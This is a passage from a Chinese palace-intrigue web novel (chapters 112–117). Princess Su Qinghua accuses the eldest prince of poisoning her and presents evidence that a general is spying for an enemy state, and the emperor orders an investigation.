赵阳帝见她如此坚定,不由也基本信了她的话,问:“清华公主可有怀疑之人?” “我怀疑此人便是大皇子!” 第一百一十二章 当面质问 “什么?” 此话一出,不止赵阳帝震惊,便是宋墨渊也不由瞪大了眼睛,不可置信的看着苏清华。 “赵亥是我赵阳皇子,乃是我亲生儿子,他再是不济,也不可能叛国,更不可能是天奴国奸细!”赵阳帝脸色一沉,大喝道:“清华公主如此说,到底意欲如何?” “我敢正大光明的说出大皇子的名字,必定不会是无的放矢。我在这赵阳虽说没有家族依靠,可毕竟是公主,身后站着的是整个天韶,胆敢公然刺杀我的,又怎会是平常人物,必也是在这赵阳站得一席之地的人。” 苏清华两腿交叠,眼神坚定的看向上方,说:“我在这赵阳权力最大的敌人,便是大皇子,他因为而被关宗人府,早就对我怀恨在心,那日春猎,他放弃春猎,而是对我紧追不舍,必定是有所图谋,幸好我早有防备,后来又遇到宋公子,才躲过一劫,没想到他没有就此放弃,反而铤而走险,与天奴人勾结,意图谋害与我。” “不可能,绝对不可能是大皇子,他想着巴结你还来不及,又怎会做出刺杀你的事?”赵阳帝使劲摇头,坚决否认此事。 “巴结我?大皇子为何会巴结我?皇上好像知道点什么,不妨指点我一二,也好让我别找错了仇人...”苏清华轻皱眉头,一副疑惑不解的样子。 “这...”赵阳帝刚才只想着解释清楚,大皇子不可能刺杀苏清华,一时竟说漏了嘴。 大皇子喜欢苏清华,也不是不能说的秘密,权衡之后,赵阳帝继续说道:“大皇子从宗人府出来后,稳重成熟了不少,而且他曾当面跟我求娶与你,他说他心悦你,又怎会刺杀你呢?” “什么?竟还有此事?可此事我作为当事人,为何却从未知晓?” “情爱之事,本就是两个人的事,大皇子只是剃头虱子一头热,我担心影响清华公主声誉,便没有大肆宣扬。”赵阳帝解释。 苏清华一脸怒色,起身直视赵阳帝,质问道:“没有大肆宣扬?却在背后挑唆,任由大皇子给我下卑劣的毒药,谋害与我?难道这就是赵阳向来的作风?” “放肆!”赵阳帝猛拍桌子,大声怒喝:“你虽是小辈,可我向来对你纵容,没想到你不知天高地厚,竟敢质问起我来!你有什么证据,说我在背后挑唆大皇子谋害你?” 苏清华挺直腰杆,铿锵有力的说道“我虽是小辈,可站在这赵阳,代表的却是整个天韶,我身在赵阳,却屡遭谋害,又是刺杀,又是下毒,难道赵阳不该给我个交代?” 宋墨渊此时已明白苏清华的意图,只是赵阳帝毕竟是一国之君,从来都是他质问别人,何时被人质问过,当然会震怒了。 “刺杀之事,我一直在查,只是苦于线索太少,清华公主既有线索,不如好好讲讲,正好可以更快找到真凶,不管真凶是谁,舅父必不会轻易放过!”宋墨渊及时开口,让现场紧张的气氛,瞬间缓和不少。 “是呀,清华公主中毒之事,我也是第一次知晓,不如清华公主也好好讲讲,渊儿正好一起查了,若真是有人胆大妄为,我必不会轻易放过!”赵阳帝也缓和了语气。 苏清华不急不慢,一字一字说:“我那日被一黑衣人刺杀,他武功极高,我与他对战几招,竟发现他是天奴隐者,当时若不是仗着轻功好,又提前用银针刺伤他右腿,我根本不是他对手。他若是想杀我,不说是轻而易举,可也不必大费周章,更不用故意放火,所以他这样做的目的只有一个,那就是故意调虎离山,不过也正因为如此,火光引起大哥注意,他及时出现射杀了那刺客,我方才得救。” 苏清华坐下身来,语调清扬:“大哥职务在身,不敢久留,见我性命无忧,便立刻离开了,我当时身体不适,宫殿又被大火燃烧,周小姐遵从太后旨意,让我去太后行宫休息,我谢过太后好意,便随周小姐来到她的房间休息,可就在太后宫殿之内,竟有剧毒物质,我被毒物控制,手脚不能动弹之际,大皇子竟出现了,他亲口承认对我下毒,刺杀跟下毒隔着如此之近,又如此凑巧,让我不怀疑他都不行!我从未怀疑过皇上与天韶和解的诚意,所以只能怀疑,这一切都是大皇子暗中勾结天奴!” “刺杀是刺杀,下毒是下毒,我敢保证两者并无联系,大皇子也绝对不会勾结天奴。”赵阳帝鲜有的耐心解释到。 “清华公主莫要多心,我之所以如此肯定,是因为我对我这不孝儿子,了解的很,他给你下药,必定是因为喜欢你,想方设法得到你,只是一时用错了方法。” “那你对你这个儿子,确实不是很了解,他给我下毒,并不是为了娶我,而是为了六座城池。 大皇子身为赵阳国皇子,却不顾天韶与赵阳国的契约,妄想将六座城池,收归自己手下,他如此做,便是为了挑起天韶与赵阳的矛盾,让天奴国坐收渔翁之利。 所以这刺杀的幕后真凶,不是大皇子又会是谁?又有谁可以如此熟悉行宫布置,轻易放刺客进入?” 苏清华一番话,说的有理有据,赵阳帝若不是提前知道,大皇子有意接近苏清华,是为了向自己表忠心,很可能便会真的信了她。 可他对大皇子了解甚深,便是太子有可能联合天奴刺杀他,大皇子也不可能这么做。 “清华公主,你真的误会了,大皇子他决不可能是幕后真凶!”赵阳帝帮大皇子解释道。 苏清华眉头一皱,苏清华语气上扬,眼神怀疑道:“皇上怎会如此肯定?莫非,大皇子代表的,便是赵阳的意思?赵阳竟早与与天奴暗中交好?故意给我演了一处刺杀的戏码?趁机又让大皇子对我下毒?为的就是夺我手中城池?” 第一百一十三章 幕后之人 赵阳帝一脸怒色,猛地一拍桌子,说:“放肆,我看在你暂时缓解了赵阳危机,让天韶与赵阳重归和平的份上,对你多加照顾,给你几分薄面,刚才一直耐心的与你解释,你竟敢信口胡言?” “给我几分薄面?派李嬷嬷日日监视我,挑唆我与苏家关系,之后又纵容太子与我相争,如今竟怂恿大皇子,给我下毒?” 苏清华直视赵阳帝,丝毫不惧他的怒气,说:“皇上的照顾还真是令人吃不消!这种薄面,我若是从今以后,不想要了呢?” 赵阳帝身居高位多年,已经多年没遇到过,敢如此跟他说话的人了,甚至他当皇子期间,也鲜少有人对他如此直白。 赵阳帝没有震怒,反而镇定下心神。 用从未有过的语气,柔声劝道:“清华公主,你年纪轻,从小生母去世,不得家族重视,所以性格敏感多疑,这些我都理解。” 赵阳帝叹了口气,说:“我派李嬷嬷去公主府,完全是为了协助你,至于与苏家的关系紧张,这是你们早便结下的恩怨,我也始终是站在你这边的。至于大皇子给你下毒之事,你可有实际证据?若是真有此事,我必会严惩他的。” 苏清华嘴角一弯,轻笑出声:“有些事,我虽没有证据,可真相如何,大家心知肚明,至于大皇子下毒之事,我却有证据,宋公子便是我的证人!” 赵阳帝看向宋墨渊,问:“渊儿,此事可为真?” “不错,我确实亲眼见清华公主中了毒,我到的时候,大皇子恰巧也在屋内,他手拿软鞭,确实是要对清华公主不利。” “难道那日,你急匆匆离去,过了好几个时辰,一直天黑方才返回,竟是为了这事?” “是。” 苏清华见赵阳帝正在深思,她莞尔一笑,说道:“我如今站在这里,跟皇上要个公道,并不是想跟皇上作对,反而是因为相信皇上。因为我虽怀疑大皇子,确未真正怀疑过赵阳国与天韶合作的真心,否则宋公子也不会对我出手相帮。” 赵阳帝转而看向苏清华:“大皇子行事莽撞,朕定会严加惩戒,为公主讨回公道。至于天奴刺客之事,此事尚有疑问,不好随意下定论,不过我必会让渊儿尽快查清,给清华公主一个交代,也是给赵阳一个保证。” 权衡利弊间,他已将长子当作平息事端的筹码。 “大皇子之事不必皇上操心,我自己会讨回公道。”苏清华假装一脸疑惑道:“只是刺杀我倒是小事,敢公然刺杀皇上,必定有不可告人的秘密,只是不知他目的到底为何?他的身份又到底是谁?” 刚开始赵阳帝听着苏清华的话,不由轻皱眉头?不解什么叫自己会讨回公道? 待听到后来的话,他不由开口道:“渊儿,清华公主不是外人,你便将这几日的调查结果,说与她听听吧,毕竟她也是受害者之一。” 宋墨渊闻言缓缓开口:“当日清华公主所居住的行宫忽然失火,大部分侍卫前去参与救火,可恰在那时,有一批黑衣人趁乱进入皇上行宫,预想刺杀皇上。 幸好我跟苏大公子联手,击退了那批黑衣人,后来侍卫及时赶到,那些黑衣人见逃跑无望,便服毒自尽了。” 宋墨渊看了一眼苏清华,继续说:“我事后查看这些黑衣人,发现他们身上都有杀手阁的标志,杀手阁是江湖一神秘组织,独立于三国之外,并不偏袒或针对任何一国,只要价钱合适,便可以杀任何人。 至于刺杀清华公主的那个黑衣人,我也查看过他的尸身,他身上确实没有杀手阁标志,可他在右臂之上,却有大块皮肤被用刀划过,显然是为了隐藏他真实身份,经过清华公主提醒,我想起来,天奴族的暗卫,在右臂之上,都会有一只苍鹰的纹身,所以他确实有可能是天奴人!” 苏清华道:“他虽极力掩饰,可情急之下,他用了天奴族的招式,因此对他天奴国人的身份,确认无疑!” “我在查案期间,一直有个疑惑,是谁对清华公主跟舅父都有仇,若说这是天奴人的阴谋,这个疑惑倒是可以解释清了,他们先是刺杀清华公主,接着刺杀舅父,不管哪边得手,都会让天韶跟赵阳混乱不堪,他们趁机坐收渔翁之利,只是不知那日帮他们的,到底是谁?”宋墨渊冷冷道。 “这点我却与宋公子有不同意见,我认为这次刺杀,天奴本只有一个目标,便是皇上,至于刺杀我,估计不是天奴那边的意见,而是在赵阳的奸细,私自下的决定。” “哦?清华公主为何如此猜测?难道你发现了什么?” 苏清华不答反问:“当日除了那个杀手,先有一名小太监,悄悄在我屋子里撒了油,你可查清他身份。” “他是行宫内一名太监,我细查之下,发现他曾得过张之熊的恩惠,不知此事是巧合,还是...” 不待宋墨渊说完,苏清华便说:“不是巧合,那个杀手除了射箭放火,吸引侍卫注意力,他还有一个任务,那就是毁我容貌。” 宋墨渊沉思片刻,说:“那幕后之人,若是想挑起天韶与赵阳矛盾,直接杀了你不是更好,为何要毁你容貌?” “那只能说明,幕后之人恨我至深,她不想让我轻易死去,她想让我生不如死。” “清华公主的意思是,这幕后主谋便是张之熊,他恨你至极,想让你毁容?”赵阳帝眉头一皱,说:“这也不对呀,毁容这种事,不像张之熊的做事风格呀!况且那日他因病请假,并未参加春猎。” “恨我至极,想让我毁容的,我脑海中只有一个名字,那就是苏清瑶。” “清华公主的意思,这幕后真凶竟是苏清瑶,若说她恨你也能理解,可她为何要找杀手刺杀我?难道她是为了给父亲报仇?”赵阳帝问。 第一百一十四章 天韶暗卫 “苏洵入狱之后,她立刻回了张家,在她眼中,只会恨苏洵无能,让她跟着被人看不起,又怎会帮他报仇?”苏清华两只手指交叠,说:“我早就说过,这次刺杀真正的目的便是皇上,我只是顺带着的,而刺杀皇上必然是天奴的目的,而帮助天奴的正是大将军张之熊,他故意没来参加春猎,便是想要避嫌,因为他知道这次刺杀不可能成功,可他为了表示对天奴的忠心,又不得不帮他们安排,于是他便将这个任务交给苏清瑶,只是没想到苏清瑶因为太恨我,便自作主张,私下命令那杀手毁我容貌,因此才泄露了张家与天奴勾结的真相。” 宋墨渊暗暗点头,若是张之熊亲自指挥,必定不会犯这种低级错误,在现场留下任何把柄,他宁愿花重金,买杀手阁的杀手,便是为了不留线索,只是没想到苏清瑶会因为嫉妒,私下命令,针对苏清华,按照张之熊本来的安排,那杀手必定只是射箭引起混乱,不做其他任何会留下线索的事。 赵阳帝却不以为然,连连摇头:“说张之熊买通杀手想刺杀我,我能理解。有可能他见我对他生疑,便先下手为强!可说张之熊与天奴勾结,我并不认同,他如今已官拜大将军,为何会与天奴勾结?”赵阳帝不解道。 “他如今官拜大将军,若是天奴人此时暗中联系他,不管给他什么好处,他当然不会妥协。可十几年前,张家在祖父横空出世之时,却已如昨日黄花,不得重视,甚至有走上没落的危险,那时天奴人只需稍微给点诱惑,他便会为了利益,不顾一切,铤而走险。”苏清华语气坚定,就仿佛她亲眼目睹这个过程。 “清华公主的意思是,张之熊早就背叛了赵阳?”赵阳帝仍是一脸不信,继续说道:“清华公主可有证据,这可不是女儿间的小打小闹,即使闹出了误会,也无伤大雅,此事事关整个赵阳的存亡,若是出了差池,便是天韶给你撑腰,赵阳百姓也不会答应放过你!” “皇上不必恐吓我,我虽是对张家有怨,也不会在这种关乎底线的大事上,胡乱冤枉她,前几日我收到一封天韶来信,更加佐证了我之前猜测,这才会将此事正大光明的告知皇上。” “哦,清华公主与天韶还有书信往来?”赵阳帝手扶龙椅,满是探究的问。 苏清华不急不慢,沉着应对道:“我本就是天韶公主,与我的家族亲人偶尔通通书信,也理所应当,难道赵阳帝认为此事不妥?” “怎么会?清华公主能够留在赵阳,已是我赵阳荣幸,我又怎会阻止你与天韶来往?我只是担心清华公主身边人手不足,没有人可以帮你送信,所以才有此疑问。” “原来如此,那我便放心了,至于送信之人,皇上不必操心,太子哥哥临走之时,专门给我留一贴身暗卫。我本认为,在赵阳有皇上关照,必定不会有人会对我不利,所以便派这贴身暗卫,帮我送送书信,没想到他刚离开,便会遇到刺杀,看来还是太子哥哥深谋远虑,考虑的周全,这暗卫确实不能让他轻易离开,至于送信之事,以后我随便派个人也便罢了,实在不行,让太子哥哥再给我派个暗卫便是了。” 苏清华说的轻巧,便好像派个暗卫,宛如吃饭一样简单。 赵阳帝在一边听着,却不由心神震荡,仿佛之前的信念全部崩塌! 原来天韶竞对清华公主如此重视? “天韶暗卫?”赵阳帝眉头紧拧,手中的茶杯不由握紧。 “是,他此刻便在大殿之外等候,皇上若是准许,我便让他进来禀报。”苏清华仍是语气平静。 她知道赵阳帝对此事必会多思。她故意将天五带到宫中,要的便是这效果。 一味的示弱换来的只是更多的侵占,只有大方亮出爪牙,别人才会有所忌惮。 赵阳帝思索良久,最终还是点头,说:“那便让他进来吧。” 江全立刻高声呼喊:“宣天韶暗卫,进殿觐见。” 须臾间,天五便进到殿来,他并不下跪,但也弓腰一礼,说:“天韶天五,拜见赵阳帝。” “天五?” 赵阳帝内心不由一惊。 天韶暗卫都是以天为姓,以数字为名。数字越是靠前,代表武功级别越是高强。 听说天韶太上皇身边的天一,是天韶第一高手,天韶帝其次,再然后是天韶长公主第三,后面是太子第四。 苏清华身边的暗卫竟排名第五,甚至超过天韶真正的皇子跟公主。 此时赵阳帝的信念再次被刷新,天韶对这清华公主,不止是重视,那时相当重视! 天五挺直腰背,掷地有声大声回道:“是,我叫天五,是天韶皇族的暗卫。” “此次你回到天韶,天韶特使那边可有重要事情?”赵阳帝问。 “太子殿下确实有两个重要事情。第一,是为清华公主十五岁生辰,送上天韶皇族的礼物。第二,是为送一封至关重要的密信。”天五斩钉截铁,继续说道:“最重要的是,太子殿下吩咐,若是在赵阳,谁敢欺负清华公主,让我格杀勿论!” 赵阳帝听闻天五的话,不由暗中沉思。 清华公主生辰,正赶上凤凰山刺杀之事,后来又爆出老靖远侯之死内幕,他本就没时间去关注,何况在他心中,一直只当苏清华,是天韶太子随便指定的吉祥物罢了,根本没把她当回事。 如今看来,他需要对苏清华,做重新的审视了。 天五身为天韶暗卫,却留在赵阳,而且还如此猖狂,说出格杀勿论之言,他虽有不喜,可一时也找不到语言反驳,毕竟他早就承诺天韶太子,会保护好苏清华的安危,如今苏清华再次遇刺,他若是强烈反对,恐怕真会引起天韶不满。 一番考虑权衡之下,他便知道,此时对他最有利的选择,便是先隐忍不发。 “密信?可是关于天奴奸细之事?”赵阳帝最终开口,选择好好探讨密信之事。 毕竟这才是关系到赵阳安危的大事。 第一百一十五章 天奴密信 天五见赵阳帝如此问,没有急着回答,而是看向苏清华。 苏清华不紧不慢, 再次悠然开口道:“不错,信中除了问候我近况如何,在赵阳有没有受到欺辱之外,最重要的便是提及此事。” 赵阳帝听到此番话,眉头不由越皱越深。 天韶这是在怀疑他?清华公主这么昭然的说出来,竟是丝毫不把他放在眼里,明晃晃的威胁他呀! 苏清华忽略赵阳帝的不满,继续说道:“太子哥哥信中言明,当时天韶忽然攻打赵阳国,便是得到内幕消息,赵阳在天誉城内勤加练兵,意欲对天韶不利。 天韶为了防止被动挨打,便先下手为强。后来张将军主动投降,哥哥也亲身来赵阳都城探查,来了之后,见皇上对两国和平展现了十二分诚意,才明白这一切都是误会。” 宋墨渊闻言,倏然发现一个细节,他打断苏清华说:“不对,如果张将军真是奸细,那他为何又会主动投降?这在逻辑上不通呀,作为天奴奸细,他应该让我们两国死战到底才对。” 苏清华摸索着衣袖上的珍珠,继续娓娓道来:“太子哥哥对此也有疑问,回去之后,便对此事多加查探,后来发现,那挑唆哥哥对赵阳发难的,竟是天奴奸细!哥哥发现之后,并没有声张,而是暗中监察他,就在前几日,哥哥截获了一封天奴送给奸细的密信。” 苏清华自袖中取出一封泛黄的信,说道:“你们看了这封密信,便会明白一切。” 江全见状,急忙走到苏清华面前,取过密信,一一呈给赵阳帝与宋墨渊过目。 只见密信上写着:先前让你挑唆两国征战,一是为探两国虚实,二是想让两国两败俱伤,没想到天韶实力雄厚,赵阳不堪一击,依照天韶气势,竟有一举拿下赵阳的能力。如今我天奴虽兵力强盛,可粮草严重不足,仍需从赵阳偷运粮草,若是天韶攻下赵阳,趁势再攻打我国,恐我国暂无能力与之对抗,幸好我国国主英明,早在十几年前,便已将一名赵阳武将策反。他及时阻止了两国战争,使两国仍是保持平衡之势,互相牵制。我国也有了继续修整的时间,今后你不必再挑起两国相争,需想办法挑起天韶内部争斗,削弱其国家实力,待到我国粮草充足,便可联合赵阳内的奸细,将两国一举拿下,一统三国。 “混账!”赵阳帝猛地一拍桌子,桌上的茶碗掉落在地,陡然四分五裂。“这天奴真是可恶,竟在两国都暗中潜伏奸细,不止挑唆两国战争,甚至还从我赵阳偷运粮草。” 宋墨渊看罢密信,也不由将折扇猛地合起,说:“有机会将粮草偷运给赵阳的,必定是我军队中位高权重之人,按照密信所言,那人曾及时阻止两国战争,这不就等于明指张之熊?” “哥哥也怀疑那内应是张之熊,如今我与张家已势不两立,他担心我的安危,想接我前去天韶,可我毕竟长在赵阳,不忍心赵阳生灵涂炭,便选择将此事告知皇上,让赵阳早有防范。”苏清华道。 赵阳帝站起身来,头上鎏金玉冠的串珠随着动作也前后晃动,他目光坚定且带着几分庆幸,说道:“此事关系重大,清华公主心系赵阳,我会铭记在心,我会立即下旨一封,以后谁若是再敢对你半分不敬,便是对我不敬,我会严惩不贷。” “多谢皇上,我即是吃着赵阳百姓种的粮食长大,自然也不会忘记这份情义,让他们陷入危险之中。”苏清华此话说的真诚。 不管她如何恨张家,甚至是恨太子,可赵阳百姓无辜,她并不希望赵阳生离涂炭。 “舅父,我们虽已知张之熊十有八九已叛变,可仅凭这份密信,我们想直接定他的罪,恐还有难度。”宋墨渊提醒道。 “若此事为真,那赵阳已陷入万分危险之境,现在最重要的,便是盯好张之熊,不让他再有离开赵阳城的机会,至于定罪的证据,我们可以慢慢找。” “渊儿,我将此事交给你去查,你务必要找到可以定罪张家的证据。”赵阳帝严肃道。 不待宋墨渊回复,苏清华抢先道:“我怀疑祖父当年对粮草之事已有察觉,甚至也怀疑到张之熊身上。 如若不然,张彩蝶凭着京城各名门望族不选,偏偏选中家族根基不稳,甚至一事无成的苏洵? 他们为了掩盖真相,先是设计害死我母亲,然后趁祖父不在家时,蛊惑祖母,让张彩蝶嫁入苏家,待到祖父归家,生米已煮成熟饭,祖父也无办法。” 宋墨渊手捻折扇,接过话来:“老靖远侯若是有所察觉,张之熊想办法除了他便是,为何非要将妹妹嫁入苏家?这不是多此一举吗?” “那只有一个可能,便是祖父手中,应该已经掌握了,可以定张家罪证的相关证据。张彩蝶嫁入苏家,一是为了将张苏两家绑在一起,二是为了方便查找那罪证。” “这样说来,老靖远侯之死,很可能也是张家设计。” “没错,我也有此推测,苏洵虽不成器,可他毕竟是祖父独子,他若没有犯大错,祖父又怎会说出要罢免他,直接让大哥接管侯府的话来?”苏清华道。 “张彩蝶作为苏洵妻子,想挑唆他跟父亲关系,轻而易举。”宋墨渊话锋一转,说:“只是不知老靖远侯掌握的罪证,是否被张彩蝶找到了。” “我怀疑尚未找到,否则张彩蝶必早已离开张家。此事与苏家密切相关,又关系到我生母与祖父之死,我也想参与调查此事。” “好,渊儿,此事便交于你与清华公主,探查期间,务必保护好清华公主,别让她出任何意外。”赵阳帝认真交代。 “是。”宋墨渊低头答应。 “清华公主放心,大皇子那,我必会将他狠狠教训一顿,为清华公主出气。”赵阳帝用尽是恩典的语气说道。 苏清华却冷笑着拂了拂广袖:“不必劳烦陛下,该讨的债,我已亲手讨回。” 第一百一十六章 待她不同? 话音未落,殿外突然传来急促的脚步声。 “奴才李贵求见!大皇子危在旦夕,求陛下救命!” 尖利的嗓音刺破殿内凝滞的空气。 赵阳帝眉间拧起川字纹,朝贴身太监江全颔首:“带进来。” 李贵跌跌撞撞爬进殿内,额间沾满尘土,他不敢抬头,对着龙椅连连叩首:“皇上万岁,清华公主她... 她今日一早,忽然带着一人闯入府中,先是将府内侍卫击倒,接着又伤了大皇子的暗卫,最后将大皇子打得昏迷不醒!如今殿下生死未卜,府上太医也不知该如何救治,奴才实在不知该如何处置,才擅自惊扰圣上,求皇上给我家主子做主啊...” 语毕李贵偷偷抬眸,想看看皇上的反应。 “不过是中了如梦香,三日后自会苏醒。” 苏清华指尖把玩着缀满珍珠的丝绦,“至于皮肉伤,并未伤及经脉,只要及时医治,暂时死不了。” 李贵猛地抬头,并将头转向右侧,看到殿中一抹清冷身影,浑身如坠冰窟:“清华公主... 您怎么在这儿?” “自然是来讨个公道。” 苏清华冷笑,眼中寒光如刃,“难道公公以为,我仅仅抽了大皇子几鞭子,便会善罢甘休,不再追究此事?” 李贵瘫软在地,抽气声连连,不敢再说一个字。 苏清华胆敢在皇上面前如此放肆,那他家主子别说报仇,只要不再被圣上责怪,估计已是难得了! 赵阳帝摩挲着龙椅扶手,静静思索。 苏清华从被封公主至今,一直还算乖巧,今日忽然如此强势,甚至公然打伤大皇子,赵阳帝也很是惊讶。 可不管是她本就如此,还是被大皇子逼迫所致,在苏清华没有真正伤到赵阳根本之前,他并不会真与她撕破脸。 当年他从一个不受重视的皇子,后来过继给太后,当了太子,这中间经历了多少波折,他从未真正失控过,如今面对一个苏清华,他更不会因此便失控。 作为一国皇帝,最重要的便是权衡利弊,保住自己的国家以及自己的地位。 沉吟许久,赵阳帝终于开口,对李贵说:“滚回去。若大皇子还活着,病好后,让他亲自去公主府谢罪;若死了......” 帝王顿了顿,语气冰冷如霜,“也是他咎由自取。” 待李贵退下,赵阳帝吩咐江全:“你带着公主去我私库,选几件心爱的东西,补做生辰礼物,从今往后,每到清华公主生辰,你务必记得提醒我。” 江全低声应是,随后便带着苏清华离开大殿。 待苏清华和江全离开,赵阳帝揉了揉眉心,看向宋墨渊:“渊儿,此事你怎么看?这清华公主是否可信?会不会是她记恨张家,故意想借我的手,帮她对付张家?” “舅父,清华公主性情刚毅,嫉恶如仇,对待仇人不会心慈手软,可她内心深处却心怀慈悲,心系天下普通百姓,万不会因为个人仇怨,而在这种大事上开玩笑。张之熊的所作所为,确实可疑。” 赵阳帝第一次对宋墨渊露出探索的眼神,说:“渊儿,你可要跟舅父解释一下,你向来不喜与女子交往,可最近一段时间,你却多次出手帮助清华公主,如今更是对她多加夸赞,清华公主哪里值得,你待她如此特殊?” 宋墨渊缓缓起身,锦袍上暗绣的蟒纹随着动作若隐若现。他敛袖行礼,声音低沉而坚定:“回舅父,清华公主于我有救命之恩。当年臣儿时所中之毒,虽被御医暂时压制在心脉,然前阵旧疾复发,幸得公主出手相助,才彻底解除此毒。再者,公主身负重任,维系两国安宁,臣为赵阳百姓免受战乱之苦,自当尽心护佑。” 赵阳帝目光微微一滞,眼尾细纹里藏着几分动容。这个自幼丧母的外甥,素来不喜兵戈,如今为了黎民多关注异国公主,倒也合情合理。 “旧毒复发为何瞒朕?” 赵阳帝声线里尽是关切。 “臣恐扰陛下忧心,加之毒已尽除,便没有多言。” 宋墨渊垂眸应答,将太子暗中谋害之事咽入喉中。 他知晓舅父对太子寄予厚望,不忍戳破这层温情的假象。 赵阳帝听闻他毒已除尽,内心方才宽慰下来,仔细叮嘱道:“你娘是我唯一嫡亲的妹妹,她红颜薄命,早早去世,唯留你这滴骨血在世,以后无论遇到什么困难,万万不可再瞒我,你可知道?” 宋墨渊眼神中闪过一丝动容,低头认真回复到:“是,舅父。” 此时他们不是君臣,只是彼此信任的亲人。 赵阳帝稳定了情绪,脸色瞬间严肃起来,又问:“虽是苏清华没有异心,可那天韶的密信,是否可信?会不会是那天韶,故意想借清华公主之手,引起赵阳内乱?” 宋墨渊微一沉吟,道:“此事我也不敢随意论断,不管如何,给我一段时间,我必定会将此事查个水落石出。” 赵阳帝闻言,点点头:“那张之熊若是没有叛国,只要他肯交出兵符,我便仍保他荣华便是。倘若他真的勾结天奴人,你便要想办法先拿回兵符。在这之前,不能打草惊蛇,免得他狗急跳墙,再引起边境危机。” “是,我必当尽快查出真相。只是偷运粮草之事,也需尽快查明,只要断了天奴的粮草供给,他们那里环境恶劣,没有足够的粮食支持,一时半会儿,也不敢对赵阳不利。” 赵阳帝走到地图前,目光落在边疆,“边疆不止与天韶接壤,也与天奴相连,天奴虎视眈眈,不能一直无人镇守。必须尽快派可靠之人前去统领,一是为了稳定军心,二是为了查清粮草之事。” 他又转头看向宋墨渊,有些担忧地说:“苏赫还年轻,他能撑起来吗?” 宋墨渊思索片刻:“边境本就是老靖远侯镇守多年,那里一半将领,都对他忠心不二。张之熊能顺利接管边境,也有他与苏家联姻的原因,凭着这份旧情,苏赫便是最合适人选。他虽年轻,但有勇有谋,定能不负重托。” “好,我立刻下旨,升他为靖远侯,让他前去边境,查清粮草丢失真相。” 赵阳帝下定决心,“只是我看这清华公主并不简单,怕不是好掌控之人,她又与苏赫关系匪浅......” 第一百一十七章 突破情劫 语毕,赵阳帝眼神深沉的望着宋墨渊。 宋墨渊轻摇折扇,语气笃定道:“苏赫是老靖远侯亲自培养,对赵阳尽忠,对百姓负责的思维,已经深入他的骨血,即使赵阳真的与天韶决裂,与清华公主为敌,他也绝对不会做出对赵阳不利之事。” 宋墨渊又将折扇,刷的一声合上,继续说道:“如今的赵阳,内有张之熊这个威胁,外有天奴族虎视眈眈,我们目前最好选择与清华公主合作,与天韶和平共处。” 宋墨渊分析道,“这样才能稳住局势,腾出手来处理内患。” 赵阳帝叹了口气:“也罢,李嬷嬷跟她这么久,什么有用的消息也没查出来。反而惹得清华公主不喜,等会便通知李嬷嬷,以后也不必费力盯着了,尽心伺候清华公主便是。” 他又看向宋墨渊,眼神中满是信任,“渊儿,你们的府邸紧挨着,苏清华若没有损害赵阳国利益也就罢了,她若敢损害赵阳之根本,你一定要及时阻止,维护赵阳利益,你可知道?” “舅父放心,墨渊必会保赵阳无恙。” 宋墨渊郑重行礼,目光坚定。 “好,目前我最信任的就是你了。” 赵阳帝拍了拍他的肩膀,满是疲惫。 宋墨渊没有说话,可眼神里透着坚定,也蕴含着对舅父的心疼。 他心中暗暗发誓:不管是谁,都休想在他面前,伤害舅父一丝一毫,更不能伤及赵阳根本。 另一边,苏清华与江全在私库中精心挑选礼物,琳琅满目间,她却只是随意选了几件玉器。 她进宫最主要的目的,已经达到,至于这些金银之物,她并不十分在意,反正这些御赐之物,又不能换成银钱,最后会属于谁,还不一定呢。 毕竟她不会一直留在赵阳,等与张家的恩怨了结,她便会找机会离开这里,前往天韶。因为天韶如今不止有师父,还有一群关心她的“亲人”。 最重要的是,她为了减少不必要的麻烦,已将天韶对她的重视,完全暴露在赵阳帝的面前,这样做虽会震慑到赵阳帝,同时也会惊醒到他,让他以后对她更加防范。 准备出宫时,在长庆殿门口,正巧遇到前来的太后与周玥。 苏清华嘴角挂着微笑,主动开口:“太后、周小姐,那日我宫殿大火,多谢你们及时相帮。” “不必客气,应当的。” 周玥轻声回应,心中却稍微有些忐忑。 苏清华将一切看在眼里,说:“周小姐,你的眼光不错,那藕荷色帘账甚是漂亮,我记忆深刻。” 苏清华特意加重语气,眼中闪过一丝深意,“以后我自当记住周小姐这次情义,若有机会,必当加倍奉还。” 周玥心中一惊,脸色微微发白。 她特意提到这帘账,难道她知道问题在哪了? 可那香...不是普通的香,她理应不会察觉,只会以为自己身上乏力,才会如此的应该。 她强装镇定,想要开口解释,可当她抬起头,苏清华已经飘然离去,只留下一抹清冷而笔直的背影。 “看她做什么,我们进去吧,记住你答应我的事。”周太后见周玥站立不动,及时提醒道。 “是,姑祖母。”周玥应声。 周玥暂时放下与苏清华的恩怨,一心想着接下来该怎么做。 两人没让太监通报,直接进入大殿。 赵阳帝见周太后进殿,嘱托宋墨渊:“渊儿,你抓紧去办事吧,务必保重自身。” 待宋墨渊离开之时,恰好经过周太后与周玥身边,他对着周太后微一行礼,便大步离开,自始至终,他未曾看周玥一眼。 然而此次与以往略有不同的是,周玥自始至终,也未曾将眼神看向他。 周玥暗下决心:即是得不到爱情,那像姑祖母一样,站在高处,为家族而战,也不是不可。 宋墨渊早已离开,根本无暇顾及这一切。周太后却将这些,看在眼里。 她嘴角压不住的弯曲,内心不由雀喜:玥儿终于突破情劫,周家未来之路,必会更加顺畅! 赵阳帝见到太后,立刻强打精神,将刚才的疲惫,尽力掩饰,轻扯嘴角,嘴边带着笑意:“母后,您怎么亲自来了,有事派人通知一声,我过去便是。” 对周太后表面上的敬重,赵阳帝向来不吝啬表达。 周太后在周玥搀扶下,慢慢走到赵阳帝的左侧,找个座位坐下。 赵阳帝站起身来,走下宝座,来到太后身侧的座椅坐下。 周玥趁机对赵阳帝,恭敬行了一礼。 周太后慢慢捻动佛珠,开口道:“皇上日理万机,我老太婆一个,闲来也无事,慢慢溜达着到万庆殿,就当消消食,只要皇上不嫌弃我打扰到你便好。” “能够见到母后,我开心还来不及,又怎可能嫌弃?”赵阳帝亲自为太后斟了一碗茶,道:“母后今日过来,可是有事?” 周太后接过白玉茶碗,轻轻放于桌子上,手指着赵阳帝,看向周玥,笑道:“玥儿你看,皇上果然贵人多忘事,先前说好的,春猎回来之后,便给我答案,如今却忘得干干净净。” 周玥闻言,用手绢捂住嘴,轻轻笑道:“谁跟姑祖母一样,整天就想当月老,为别人牵红线?” 经由周氏二人提醒,赵阳帝方才想起这事。 不是他故意忘记,完全是因为最近事情,纷繁复杂,又是刺杀,又是有天奴奸细,甚至还有偷运粮草的事。 他又如何有心思,去记挂这些儿女情长之事? 不过既然太后开了口,他也恰好想起一件,非常重要的事。 